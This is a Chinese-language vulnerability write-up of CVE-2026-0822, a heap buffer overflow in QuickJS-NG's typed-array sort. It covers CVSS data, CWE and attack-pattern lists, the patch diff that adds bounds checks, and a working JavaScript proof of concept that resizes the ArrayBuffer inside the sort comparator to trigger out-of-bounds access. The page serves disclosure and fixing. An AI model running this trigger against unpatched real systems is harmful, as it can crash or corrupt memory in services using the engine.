QuickJS-NG堆缓冲区溢出漏洞深度分析:从代码到修复

本文深入分析了CVE-2026-0822漏洞,该漏洞源于QuickJS-NG引擎中js_typed_array_sort函数在处理可调整大小的ArrayBuffer时的逻辑缺陷,导致堆缓冲区溢出。文章详细说明了漏洞触发条件、具体的代码修复方案及相关的安全影响。

CVE-2026-0822 - quickjs-ng quickjs quickjs.c js_typed_array_sort 堆缓冲区溢出

概述

在quickjs-ng的quickjs(0.11.0及之前版本)中发现了一个漏洞。此问题影响了文件quickjs.c中的js_typed_array_sort函数。该操作导致了堆基缓冲区溢出。该攻击可被远程利用。该漏洞的利用代码已公开,并可能被使用。补丁的标识符是53eefbcd695165a3bd8c584813b472cb4a69fbf5。建议部署补丁来修复此问题。

受影响产品

以下产品受到CVE-2026-0822漏洞的影响。即使cvefeed.io知晓受影响产品的确切版本,下表中也未体现该信息。

ID 厂商 产品
1 Quickjs-ng quickjs

总计受影响厂商: 1 | 产品: 1

CVSS 分数

通用漏洞评分系统是一个用于评估软件和系统中漏洞严重程度的标准化框架。我们收集并显示每个CVE来自不同来源的CVSS分数。

分数 版本 严重性 向量 可利用性分数 影响分数 来源
7.5 CVSS 2.0 10.0 cna@vuldb.com
6.3 CVSS 3.1 2.8 3.4 cna@vuldb.com
5.3 CVSS 4.0 cna@vuldb.com

解决方案

部署提供的补丁以修复quickjs.c中的堆基缓冲区溢出。

  • 部署quickjs.c的补丁。
  • quickjs更新到已修复的版本。

参考链接

此处,您将找到精心策划的外部链接列表,提供与CVE-2026-0822相关的深入信息、实用解决方案和有价值的工具。

链接
https://github.com/quickjs-ng/quickjs/commit/53eefbcd695165a3bd8c584813b472cb4a69fbf5

| https://github.com/quickjs-ng/quickjs/pull/1298 | | https://vuldb.com/?ctiid.340356 | | https://vuldb.com/?id.340356 | | https://vuldb.com/?submit.731783 |

CWE - 通用缺陷枚举

CWE对可能导致漏洞的常见缺陷或弱点进行分类。CVE-2026-0822与以下CWE相关联:

  • CWE-119: 内存缓冲区范围内的操作限制不当
  • CWE-122: 堆基缓冲区溢出

常见攻击模式枚举和分类

常见攻击模式枚举和分类存储攻击模式,这些模式描述了对手利用CVE-2026-0822弱点的常见属性和方法。

  • CAPEC-8: API调用中的缓冲区溢出
  • CAPEC-9: 本地命令行实用程序中的缓冲区溢出
  • CAPEC-10: 通过环境变量的缓冲区溢出
  • CAPEC-14: 客户端注入引起的缓冲区溢出
  • CAPEC-24: 因缓冲区溢出导致的过滤失败
  • CAPEC-42: MIME转换
  • CAPEC-44: 二进制资源文件溢出
  • CAPEC-45: 通过符号链接的缓冲区溢出
  • CAPEC-46: 溢出变量和标签
  • CAPEC-47: 通过参数扩展的缓冲区溢出
  • CAPEC-100: 溢出缓冲区
  • CAPEC-123: 缓冲区操作
  • CAPEC-92: 强制整数溢出

漏洞时间线详情

漏洞历史记录详情有助于了解漏洞的演变,并识别可能影响漏洞严重性、可利用性或其他特征的最新更改。

动作 类型 旧值 新值
添加 描述 在quickjs-ng quickjs(最高至0.11.0版本)中发现了一个漏洞。此问题影响了文件quickjs.c中的js_typed_array_sort函数。该操作导致了堆基缓冲区溢出。该攻击可被远程利用。该漏洞的利用代码已公开,并可能被使用。补丁的标识符是53eefbcd695165a3bd8c584813b472cb4a69fbf5。建议部署补丁来修复此问题。
添加 CVSS V4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
添加 CVSS V3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
添加 CVSS V2 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
添加 CWE CWE-119
添加 CWE CWE-122
添加 参考 https://github.com/quickjs-ng/quickjs/commit/53eefbcd695165a3bd8c584813b472cb4a69fbf5

| 添加 | 参考 | | https://github.com/quickjs-ng/quickjs/pull/1298 | | 添加 | 参考 | | https://vuldb.com/?ctiid.340356 | | 添加 | 参考 | | https://vuldb.com/?id.340356 | | 添加 | 参考 | | https://vuldb.com/?submit.731783 |

GitHub相关讨论及补丁详情

问题概述

在调用rqsort之后,js_typed_array_sort使用一个索引数组array_idx来构造最终排序后的类型化数组。具体来说,如果array_idx[i]大于数组缓冲区的大小,那么j = array_idx[i];可能触发堆缓冲区溢出。如果用户提供的比较器函数在排序过程中调整了缓冲区大小,并且该调整发生在较大的索引已经被移动到js_TA_cmp_generic内进行越界检查的有效位置之后,那么该检查可能会被绕过。

概念验证代码

以下代码演示了如何触发此漏洞:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const trigger = 1734; // 通过试错法确定
const sz = 256;
const newSz = 10;
const ab = new ArrayBuffer(sz, { maxByteLength: sz * 10 });
const u8 = new Uint8Array(ab);

// 用递增的值填充
for (let i = 0; i < sz; i++) u8[i] = i;
// 使最后一个元素为0,以便其移动到前面
// 我们希望 rqsort 在调整大小之前将索引255放在 array_idx 的开头,以绕过 js_TA_cmp_generic 中的越界检查
u8[sz - 1] = 0;

let cnt = 0;
u8.sort((a, b) => {
    cnt++;
    if (cnt === trigger) {
        // 当这次调整大小时,array_idx 的开头已经有索引255了
        // 因此 js_TA_cmp_generic 中的越界检查被绕过
        // 越界访问发生在此时 js_typed_array_sort 中的以下位置:
        /*
        case 1:
        for(i = 0; i < len; i++) {
            j = array_idx[i]; // 此处
            ((uint8_t *)array_ptr)[i] = ((uint8_t *)array_tmp)[j];
        }
        break;
        */
        try { ab.resize(newSz); } catch(e){}
    }
    return a - b;
});

修复方案

补丁提交(53eefbcd695165a3bd8c584813b472cb4a69fbf5)修改了quickjs.c文件中js_typed_array_sort函数的逻辑。修复为每个复制循环添加了边界检查,确保索引j小于数组长度len

关键代码更改:

quickjs.c文件的第56185至56212行附近,代码从:

1
2
3
4
5
6
case 1:
    for(i = 0; i < len; i++) {
        j = array_idx[i];
        p->u.array.u.uint8_ptr[i] = ((uint8_t *)array_tmp)[j];
    }
    break;

修改为:

1
2
3
4
5
6
7
case 1:
    for(i = 0; i < len; i++) {
        j = array_idx[i];
        if (j < len) // 新增的边界检查
            p->u.array.u.uint8_ptr[i] = ((uint8_t *)array_tmp)[j];
    }
    break;

类似的边界检查也添加到了处理uint16_ptruint32_ptruint64_ptr的循环中。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计